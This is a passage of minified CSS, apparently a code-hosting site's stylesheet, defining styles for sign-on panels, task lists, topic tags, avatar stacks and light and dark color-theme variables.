.sso-title{font-size:24px;font-weight:300;letter-spacing:-0.5px}.org-sso .org-sso-panel,.org-sso .business-sso-panel,.business-sso .org-sso-panel,.business-sso .business-sso-panel{padding:16px;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.org-sso .sso-recovery-callout,.business-sso .sso-recovery-callout{padding:16px 8px;text-align:center;border:1px solid var(--color-border-muted);border-radius:6px}.sso-modal{padding:16px}.sso-modal .org-sso,.sso-modal .business-sso{width:auto}.sso-modal .org-sso .org-sso-panel,.sso-modal .business-sso .business-sso-panel{border:0}.sso-modal .sso-prompt-success,.sso-modal .sso-prompt-error{display:none}.sso-modal.success .sso-prompt-default{display:none}.sso-modal.success .sso-prompt-success{display:block}.sso-modal.error .sso-prompt-default{display:none}.sso-modal.error .sso-prompt-error{display:block}.sso-modal.error .flash-error{margin-right:-32px;margin-left:-32px;border-right:0;border-left:0;border-radius:0}.tag-input-container{position:relative}.tag-input-container .suggester{position:absolute;z-index:100;width:100%;margin-top:-1px}.tag-input-container ul{list-style:none}.tag-input input{float:left;padding-left:2px;margin:0;background:none;border:0;box-shadow:none}.tag-input input:focus{box-shadow:none}.task-list-item{list-style-type:none}.task-list-item label{font-weight:400}.task-list-item.enabled label{cursor:pointer}.task-list-item+.task-list-item{margin-top:4px}.task-list-item .handle{display:none}.task-list-item-checkbox{margin:0 .2em .25em -1.6em;vertical-align:middle}.contains-task-list:dir(rtl) .task-list-item-checkbox{margin:0 -1.6em .25em .2em}.convert-to-issue-button{top:2px;right:4px;padding:0 2px;margin-right:8px;-webkit-user-select:none;user-select:none;background-color:var(--color-canvas-subtle)}.convert-to-issue-button .octicon{fill:var(--color-fg-default)}.convert-to-issue-button:hover .octicon,.convert-to-issue-button:focus .octicon{fill:var(--color-accent-fg)}.reorderable-task-lists .markdown-body .contains-task-list{padding:0}.reorderable-task-lists .markdown-body li:not(.task-list-item){margin-left:24px}.reorderable-task-lists .markdown-body ol:not(.contains-task-list) li,.reorderable-task-lists .markdown-body ul:not(.contains-task-list) li{margin-left:0}.reorderable-task-lists .markdown-body .task-list-item{padding:2px 15px 2px 42px;margin-right:-15px;margin-left:-15px;line-height:1.5;border:0}.reorderable-task-lists .markdown-body .task-list-item+.task-list-item{margin-top:0}.reorderable-task-lists .markdown-body .task-list-item .handle{display:block;float:left;width:20px;padding:2px 0 0 2px;margin-left:-43px;opacity:0}.reorderable-task-lists .markdown-body .task-list-item .drag-handle{fill:var(--color-fg-default)}.reorderable-task-lists .markdown-body .task-list-item.hovered>.handle{opacity:1}.reorderable-task-lists .markdown-body .task-list-item.is-dragging{opacity:0}.reorderable-task-lists .markdown-body .contains-task-list:dir(rtl) .task-list-item{margin-right:0}.comment-body .reference{font-weight:600;white-space:nowrap}.comment-body .issue-link{white-space:normal}.comment-body .issue-link .issue-shorthand{font-weight:400;color:var(--color-fg-muted)}.comment-body .issue-link:hover .issue-shorthand,.comment-body .issue-link:focus .issue-shorthand{color:var(--color-accent-fg)}.review-comment-contents .markdown-body .task-list-item{padding-left:42px;margin-right:-12px;margin-left:-12px;border-top-left-radius:6px;border-bottom-left-radius:6px}.convert-to-issue-enabled .task-list-item .contains-task-list{padding:4px 15px 0 43px;margin:0 -15px 0 -42px}.convert-to-issue-enabled .task-list-item.hovered{background-color:var(--color-canvas-subtle)}.convert-to-issue-enabled .task-list-item.hovered .contains-task-list{background-color:var(--color-canvas-default)}.convert-to-issue-enabled .task-list-item.hovered>.convert-to-issue-button{z-index:20;width:auto;height:auto;overflow:visible;clip:auto}.convert-to-issue-enabled .task-list-item.hovered>.convert-to-issue-button svg{overflow:visible}.convert-to-issue-enabled .task-list-item.is-loading{color:var(--color-fg-muted);background-color:var(--color-accent-subtle);border-top:1px solid var(--color-accent-subtle);border-bottom:1px solid var(--color-canvas-default);border-left:1px solid var(--color-canvas-default)}.convert-to-issue-enabled .task-list-item.is-loading ul{color:var(--color-fg-default);background-color:var(--color-canvas-default)}.convert-to-issue-enabled .task-list-item.is-loading>.handle{opacity:0}.toolbar-commenting .dropdown-menu-s{width:100px}.toolbar-commenting .dropdown-item{font-weight:600;line-height:1em;background:none;border:0}.toolbar-commenting .dropdown-item:hover{color:var(--color-accent-fg)}.toolbar-commenting .dropdown-item:focus{color:var(--color-accent-fg);outline:none}.toolbar-item{display:block;float:left;padding:4px;cursor:pointer}.toolbar-item.dropdown,.toolbar-item.select-menu{padding:0}.toolbar-item .select-menu-modal{margin-top:2px}.toolbar-item .select-menu-item{padding-left:8px}.topic-tag{display:inline-block;padding:.3em .9em;margin:0 .5em .5em 0;white-space:nowrap;background-color:var(--color-accent-subtle);border-radius:6px}.topic-tag-link:hover{text-decoration:none;background-color:#def}.delete-topic-button,.delete-topic-link{display:inline-block;width:26px;color:var(--color-fg-muted);background-color:var(--color-accent-subtle);border-top:0;border-right:0;border-bottom:0;border-left:1px solid #b4d9ff;border-top-right-radius:6px;border-bottom-right-radius:6px}.delete-topic-button:hover,.delete-topic-link:hover{background-color:#def}.topic-tag-action:hover .delete-topic-link{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.topic-tag-outline{background:transparent;box-shadow:inset 0 0 0 1px #c8e1ff}.delete-topic-link{padding-right:8px;padding-left:8px;margin-left:8px;line-height:1.75}.delete-topic-link:hover{text-decoration:none}.invalid-topic .delete-topic-button{color:var(--color-fg-default);background-color:var(--color-danger-subtle);border-left-color:var(--color-danger-emphasis)}.invalid-topic .delete-topic-button:hover{background-color:#ffc8ce}.topic-tag-action{display:inline-flex;align-items:center;padding-left:.8em;margin:.4em .4em 0 0;background-color:var(--color-accent-subtle);border-radius:6px}.topic-tag-action.invalid-topic{color:var(--color-fg-default);background-color:var(--color-danger-subtle);border-color:var(--color-danger-emphasis)}.topic-tag-action .add-topic-button,.topic-tag-action .remove-topic-button{display:inline-block;width:26px;font-size:14px;color:var(--color-fg-muted);background-color:var(--color-accent-subtle);border-top:0;border-right:0;border-bottom:0;border-left:1px solid #b4d9ff}.topic-tag-action .add-topic-button:hover,.topic-tag-action .remove-topic-button:hover{color:var(--color-fg-on-emphasis)}.topic-tag-action .add-topic-button:hover{background-color:var(--color-success-emphasis)}.topic-tag-action .remove-topic-button{border-right:0;border-top-right-radius:6px;border-bottom-right-radius:6px}.topic-tag-action .remove-topic-button:hover{background-color:var(--color-danger-emphasis)}.topic-input-container .tag-input{width:908px;cursor:text}.topic-input-container .tag-input.org-repo-tag-input{width:100%}.topic-input-container .tag-input .tag-input-inner{min-height:26px;background-image:none}.topic-input-container .topic-tag{margin-top:2px}.topic .css-truncate-target{max-width:75%}.topic-list .topic-list-item+.topic-list-item{border-top:1px solid var(--color-border-default)}.topic-box .starred{color:var(--color-attention-fg);border:0}.topic-box .unstarred{color:var(--color-fg-muted);border:0}.user-status-suggestions{height:98px;transition:height 100ms ease-out,opacity 200ms ease-in}.user-status-suggestions.collapsed{height:0;opacity:0}.user-status-container,.user-status-container .team-mention,.user-status-container .user-mention{white-space:normal}.user-status-container{word-break:break-word;word-wrap:break-word}.user-status-container .input-group-button .btn{width:46px;height:34px;line-height:0}.user-status-container .input-group-button g-emoji{font-size:1.3em;line-height:18px}.user-status-container .team-mention,.user-status-container .user-mention{white-space:normal}.user-status-container img.emoji{width:18px;height:18px}.emoji-status-width{width:20px}.user-status-org-button .user-status-org-detail{color:var(--color-fg-muted)}.user-status-org-button:hover .user-status-org-detail,.user-status-org-button:focus .user-status-org-detail{color:var(--color-fg-on-emphasis)}.user-status-org-button.selected{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.user-status-org-button.selected .user-status-org-detail{color:var(--color-fg-on-emphasis)}.user-status-limited-availability-compact{width:8px;height:8px;background-color:var(--color-attention-emphasis)}.user-status-message-wrapper{color:var(--color-fg-default)}.toggle-user-status-edit:hover .user-status-message-wrapper,.toggle-user-status-edit:focus .user-status-message-wrapper{color:var(--color-accent-fg)}.user-status-message-wrapper div{display:inline}.user-status-header g-emoji{font-size:1.25em}.user-status-message-wrapper .g-emoji{display:inline-block}.user-status-limited-availability-container{margin-top:16px;margin-bottom:16px}@media only screen and (max-height: 560px){.user-status-suggestions{display:none}.user-status-limited-availability-container{margin-top:8px;margin-bottom:8px}}.user-status-circle-badge{background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:2em;box-shadow:var(--color-shadow-small)}.command-palette{box-shadow:var(--color-overlay-shadow)}@media(min-width: 768px){.command-palette-details-dialog{width:512px}}@media(min-width: 1012px){.command-palette-details-dialog{width:640px}}@media(min-width: 1280px){.command-palette-details-dialog{width:720px}}.page-stack-transition-height{overflow-y:scroll;transition-timing-function:cubic-bezier(0.25, 0.46, 0.45, 0.94);transition-duration:.2s;transition-property:max-height,min-height}.page-stack-transition-height.no-transition{transition-duration:0s}.command-palette-input-group{position:relative;z-index:0;padding-left:0;color:var(--color-fg-subtle)}.command-palette-input-group .no-focus-indicator:focus,.command-palette-input-group .no-focus-indicator:focus-visible{border:0 !important;outline:none !important}.command-palette-input-group .command-palette-typeahead{position:absolute;z-index:1;padding:inherit;pointer-events:none}.command-palette-input-group .command-palette-typeahead .typeahead-segment{white-space:pre}.command-palette-input-group .command-palette-typeahead .typeahead-segment.input-mirror{opacity:0}.command-palette-input-group .typeahead-input{padding:inherit}.command-palette-input-clear-button{color:var(--color-fg-subtle)}.command-palette-input-clear-button:hover{color:var(--color-fg-muted)}themed-picture{visibility:hidden}.is-auto-complete-loading :not(input).form-control{padding-right:0;background-image:none}.ActionMenu{position:absolute;z-index:999;display:none;background-color:var(--color-canvas-overlay)}@media(min-width: 1012px){.hx_actions-sidebar{max-width:320px}}.hx_anim-fade-out{animation-name:hx-fade-out;animation-duration:1s;animation-fill-mode:forwards;animation-timing-function:ease-out}@keyframes hx-fade-out{0%{opacity:1}100%{opacity:0}}.AvatarStack--large{min-width:44px;height:32px}.AvatarStack--large.AvatarStack--two{min-width:48px}.AvatarStack--large.AvatarStack--three-plus{min-width:52px}.AvatarStack--large .AvatarStack-body .avatar{width:32px;height:32px;margin-right:-28px}.AvatarStack--large .AvatarStack-body:hover .avatar{margin-right:4px}.AvatarStack--large .avatar.avatar-more::before{width:32px}.AvatarStack--large .avatar.avatar-more::after{width:30px}.AvatarStack--large .avatar.avatar-more::after,.AvatarStack--large .avatar.avatar-more::before{height:32px}.hx_avatar_stack_commit .AvatarStack{min-width:24px;height:24px}.hx_avatar_stack_commit .AvatarStack .avatar{width:24px;height:24px}.hx_avatar_stack_commit .AvatarStack.AvatarStack--two{min-width:40px}.hx_avatar_stack_commit .AvatarStack.AvatarStack--three-plus{min-width:44px}.hx_flex-avatar-stack{display:flex;align-items:center}.hx_flex-avatar-stack-item{min-width:0;max-width:24px}.hx_flex-avatar-stack-item .avatar{display:block;background-color:var(--color-canvas-default);border:2px solid var(--color-canvas-default);box-shadow:none}.hx_flex-avatar-stack-item:last-of-type{flex-shrink:0;max-width:none}.Box-row--focus-gray.navigation-focus .AvatarStack-body{background-color:var(--color-canvas-subtle)}.AvatarStack-body:not(:hover){background-color:transparent}.AvatarStack--three-plus.AvatarStack--three-plus .avatar-more{display:none}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body .avatar:nth-child(n+4){display:flex;opacity:1}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover) .avatar:nth-of-type(n + 6){display:none;opacity:0}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(1){z-index:5}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(2){z-index:4}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(3){z-index:3}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(4){z-index:2}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(5){z-index:1}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3) img{opacity:.5}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4) img{opacity:.33}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5) img{opacity:.25}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3){margin-right:0;margin-left:-6px}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4){margin-right:0;margin-left:-18px}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5){margin-right:0;margin-left:-18px}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--right .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3){margin-right:-6px;margin-left:0}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--right .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4){margin-right:-18px;margin-left:0}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--right .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5){margin-right:-18px;margin-left:0}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--large .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3){margin-right:0;margin-left:-2px}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--large .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4){margin-right:0;margin-left:-30px}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--large .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5){margin-right:0;margin-left:-30px}.hx_avatar_stack_commit .AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3){margin-right:0;margin-left:-10px}.hx_avatar_stack_commit .AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4){margin-right:0;margin-left:-21px}.hx_avatar_stack_commit .AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5){margin-right:0;margin-left:-21px}.hx_badge-search-container{cursor:text}.hx_badge-search-container .hx_badge-input{border:0;outline:0;box-shadow:none}.hx_badge-search-container .hx_badge-input:focus{border:0 !important;box-shadow:none !important}.hx_badge-search-container .hx_badge-input::placeholder{font-size:12px}.hx_badge-search-container .hx_badge-input-inline{height:30px}.hx_badge{cursor:pointer}.hx_badge[aria-pressed=true]{color:var(--color-fg-on-emphasis) !important;background-color:var(--color-accent-emphasis) !important;border-color:var(--color-accent-emphasis) !important}.hx_Box--firstRowRounded0 .Box-row:first-of-type{border-top-left-radius:0;border-top-right-radius:0}.Box-row:first-of-type{border-top-color:transparent}.hx_Box-row--with-top-border:first-of-type{border-top-color:inherit}.Box--overlay [data-close-dialog],.Box-overlay--narrow [data-close-dialog],.Box-overlay--wide [data-close-dialog]{z-index:1}.dropdown-item.btn-link:disabled,.dropdown-item.btn-link:disabled:hover,.dropdown-item.btn-link[aria-disabled=true],.dropdown-item.btn-link[aria-disabled=true]:hover{background-color:transparent}@media(hover: hover){.hx_menuitem--focus{background-color:var(--color-canvas-subtle)}}@media(-webkit-min-device-pixel-ratio: 2)and (-webkit-min-device-pixel-ratio: 0), (-webkit-min-device-pixel-ratio: 2)and (min-resolution: 0.001dpcm){g-emoji{font-size:1.25em}}.hx_create-pr-button:hover{border-right-width:0}.hx_create-pr-button:hover+.BtnGroup-parent .BtnGroup-item{border-left-width:1px}summary[type=button].btn{-webkit-appearance:none;appearance:none}.form-control:-webkit-autofill{box-shadow:inset 0 0 0 32px var(--color-canvas-default) !important;-webkit-text-fill-color:var(--color-fg-default)}.form-control:-webkit-autofill:focus{box-shadow:inset 0 0 0 32px var(--color-canvas-default),var(--color-primer-shadow-focus) !important}::-webkit-calendar-picker-indicator{filter:invert(50%)}[data-color-mode=light][data-light-theme*=dark] ::selection,[data-color-mode=dark][data-dark-theme*=dark] ::selection{background-color:var(--color-accent-muted)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark] ::selection{background-color:var(--color-accent-muted)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark] ::selection{background-color:var(--color-accent-muted)}}[data-color-mode=light][data-light-theme*=dark],[data-color-mode=dark][data-dark-theme*=dark]{--color-workflow-card-connector:var(--color-scale-gray-5);--color-workflow-card-connector-bg:var(--color-scale-gray-5);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-5);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-5);--color-workflow-card-bg:var(--color-scale-gray-7);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(27, 31, 35, 0.04);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-5);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-6);--color-discussions-state-answered-icon:var(--color-scale-green-3);--color-bg-discussions-row-emoji-box:var(--color-scale-gray-6);--color-notifications-button-text:var(--color-scale-white);--color-notifications-button-hover-text:var(--color-scale-white);--color-notifications-button-hover-bg:var(--color-scale-blue-4);--color-notifications-row-read-bg:var(--color-canvas-default);--color-notifications-row-bg:var(--color-canvas-subtle);--color-icon-directory:var(--color-fg-muted);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#631c03;--color-calendar-halloween-graph-day-L2-bg:#bd561d;--color-calendar-halloween-graph-day-L3-bg:#fa7a18;--color-calendar-halloween-graph-day-L4-bg:#fddf68;--color-calendar-graph-day-bg:var(--color-scale-gray-8);--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#0e4429;--color-calendar-graph-day-L2-bg:#006d32;--color-calendar-graph-day-L3-bg:#26a641;--color-calendar-graph-day-L4-bg:#39d353;--color-calendar-graph-day-L1-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L2-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L3-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L4-border:rgba(255, 255, 255, 0.05);--color-user-mention-fg:var(--color-scale-yellow-0);--color-user-mention-bg:var(--color-scale-yellow-8);--color-text-white:var(--color-scale-white)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{--color-workflow-card-connector:var(--color-scale-gray-5);--color-workflow-card-connector-bg:var(--color-scale-gray-5);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-5);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-5);--color-workflow-card-bg:var(--color-scale-gray-7);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(27, 31, 35, 0.04);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-5);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-6);--color-discussions-state-answered-icon:var(--color-scale-green-3);--color-bg-discussions-row-emoji-box:var(--color-scale-gray-6);--color-notifications-button-text:var(--color-scale-white);--color-notifications-button-hover-text:var(--color-scale-white);--color-notifications-button-hover-bg:var(--color-scale-blue-4);--color-notifications-row-read-bg:var(--color-canvas-default);--color-notifications-row-bg:var(--color-canvas-subtle);--color-icon-directory:var(--color-fg-muted);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#631c03;--color-calendar-halloween-graph-day-L2-bg:#bd561d;--color-calendar-halloween-graph-day-L3-bg:#fa7a18;--color-calendar-halloween-graph-day-L4-bg:#fddf68;--color-calendar-graph-day-bg:var(--color-scale-gray-8);--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#0e4429;--color-calendar-graph-day-L2-bg:#006d32;--color-calendar-graph-day-L3-bg:#26a641;--color-calendar-graph-day-L4-bg:#39d353;--color-calendar-graph-day-L1-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L2-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L3-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L4-border:rgba(255, 255, 255, 0.05);--color-user-mention-fg:var(--color-scale-yellow-0);--color-user-mention-bg:var(--color-scale-yellow-8);--color-text-white:var(--color-scale-white)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark]{--color-workflow-card-connector:var(--color-scale-gray-5);--color-workflow-card-connector-bg:var(--color-scale-gray-5);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-5);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-5);--color-workflow-card-bg:var(--color-scale-gray-7);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(27, 31, 35, 0.04);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-5);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-6);--color-discussions-state-answered-icon:var(--color-scale-green-3);--color-bg-discussions-row-emoji-box:var(--color-scale-gray-6);--color-notifications-button-text:var(--color-scale-white);--color-notifications-button-hover-text:var(--color-scale-white);--color-notifications-button-hover-bg:var(--color-scale-blue-4);--color-notifications-row-read-bg:var(--color-canvas-default);--color-notifications-row-bg:var(--color-canvas-subtle);--color-icon-directory:var(--color-fg-muted);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#631c03;--color-calendar-halloween-graph-day-L2-bg:#bd561d;--color-calendar-halloween-graph-day-L3-bg:#fa7a18;--color-calendar-halloween-graph-day-L4-bg:#fddf68;--color-calendar-graph-day-bg:var(--color-scale-gray-8);--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#0e4429;--color-calendar-graph-day-L2-bg:#006d32;--color-calendar-graph-day-L3-bg:#26a641;--color-calendar-graph-day-L4-bg:#39d353;--color-calendar-graph-day-L1-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L2-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L3-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L4-border:rgba(255, 255, 255, 0.05);--color-user-mention-fg:var(--color-scale-yellow-0);--color-user-mention-bg:var(--color-scale-yellow-8);--color-text-white:var(--color-scale-white)}}:root,[data-color-mode=light][data-light-theme*=light],[data-color-mode=dark][data-dark-theme*=light]{--color-workflow-card-connector:var(--color-scale-gray-3);--color-workflow-card-connector-bg:var(--color-scale-gray-3);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-4);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-4);--color-workflow-card-bg:var(--color-scale-white);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(0, 0, 0, 0);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-4);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-2);--color-discussions-state-answered-icon:var(--color-scale-white);--color-bg-discussions-row-emoji-box:rgba(209, 213, 218, 0.5);--color-notifications-button-text:var(--color-fg-muted);--color-notifications-button-hover-text:var(--color-fg-default);--color-notifications-button-hover-bg:var(--color-scale-gray-2);--color-notifications-row-read-bg:var(--color-canvas-subtle);--color-notifications-row-bg:var(--color-scale-white);--color-icon-directory:var(--color-scale-blue-3);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#ffee4a;--color-calendar-halloween-graph-day-L2-bg:#ffc501;--color-calendar-halloween-graph-day-L3-bg:#fe9600;--color-calendar-halloween-graph-day-L4-bg:#03001c;--color-calendar-graph-day-bg:#ebedf0;--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#9be9a8;--color-calendar-graph-day-L2-bg:#40c463;--color-calendar-graph-day-L3-bg:#30a14e;--color-calendar-graph-day-L4-bg:#216e39;--color-calendar-graph-day-L1-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L2-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L3-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L4-border:rgba(27, 31, 35, 0.06);--color-user-mention-fg:var(--color-fg-default);--color-user-mention-bg:var(--color-attention-subtle);--color-text-white:var(--color-scale-white)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=light]{--color-workflow-card-connector:var(--color-scale-gray-3);--color-workflow-card-connector-bg:var(--color-scale-gray-3);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-4);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-4);--color-workflow-card-bg:var(--color-scale-white);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(0, 0, 0, 0);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-4);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-2);--color-discussions-state-answered-icon:var(--color-scale-white);--color-bg-discussions-row-emoji-box:rgba(209, 213, 218, 0.5);--color-notifications-button-text:var(--color-fg-muted);--color-notifications-button-hover-text:var(--color-fg-default);--color-notifications-button-hover-bg:var(--color-scale-gray-2);--color-notifications-row-read-bg:var(--color-canvas-subtle);--color-notifications-row-bg:var(--color-scale-white);--color-icon-directory:var(--color-scale-blue-3);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#ffee4a;--color-calendar-halloween-graph-day-L2-bg:#ffc501;--color-calendar-halloween-graph-day-L3-bg:#fe9600;--color-calendar-halloween-graph-day-L4-bg:#03001c;--color-calendar-graph-day-bg:#ebedf0;--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#9be9a8;--color-calendar-graph-day-L2-bg:#40c463;--color-calendar-graph-day-L3-bg:#30a14e;--color-calendar-graph-day-L4-bg:#216e39;--color-calendar-graph-day-L1-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L2-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L3-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L4-border:rgba(27, 31, 35, 0.06);--color-user-mention-fg:var(--color-fg-default);--color-user-mention-bg:var(--color-attention-subtle);--color-text-white:var(--color-scale-white)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light]{--color-workflow-card-connector:var(--color-scale-gray-3);--color-workflow-card-connector-bg:var(--color-scale-gray-3);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-4);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-4);--color-workflow-card-bg:var(--color-scale-white);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(0, 0, 0, 0);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-4);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-2);--color-discussions-state-answered-icon:var(--color-scale-white);--color-bg-discussions-row-emoji-box:rgba(209, 213, 218, 0.5);--color-notifications-button-text:var(--color-fg-muted);--color-notifications-button-hover-text:var(--color-fg-default);--color-notifications-button-hover-bg:var(--color-scale-gray-2);--color-notifications-row-read-bg:var(--color-canvas-subtle);--color-notifications-row-bg:var(--color-scale-white);--color-icon-directory:var(--color-scale-blue-3);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#ffee4a;--color-calendar-halloween-graph-day-L2-bg:#ffc501;--color-calendar-halloween-graph-day-L3-bg:#fe9600;--color-calendar-halloween-graph-day-L4-bg:#03001c;--color-calendar-graph-day-bg:#ebedf0;--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#9be9a8;--color-calendar-graph-day-L2-bg:#40c463;--color-calendar-graph-day-L3-bg:#30a14e;--color-calendar-graph-day-L4-bg:#216e39;--color-calendar-graph-day-L1-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L2-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L3-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L4-border:rgba(27, 31, 35, 0.06);--color-user-mention-fg:var(--color-fg-default);--color-user-mention-bg:var(--color-attention-subtle);--color-text-white:var(--color-scale-white)}}.hx_color-icon-directory{color:var(--color-icon-directory)}.hx_comment-box--tip::after{background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default)) !important}.hx_keyword-hl{background-color:var(--color-search-keyword-hl)}.hx_dot-fill-pending-icon{color:var(--color-attention-emphasis) !important}@media(max-width: 543px){[data-color-mode=light][data-light-theme*=dark],[data-color-mode=dark][data-dark-theme*=dark]{--color-fg-default: var(--color-scale-gray-0);--color-canvas-default: var(--color-scale-gray-8)}}@media(max-width: 543px)and (prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{--color-fg-default: var(--color-scale-gray-0);--color-canvas-default: var(--color-scale-gray-8)}}@media(max-width: 543px)and (prefers-color-scheme: 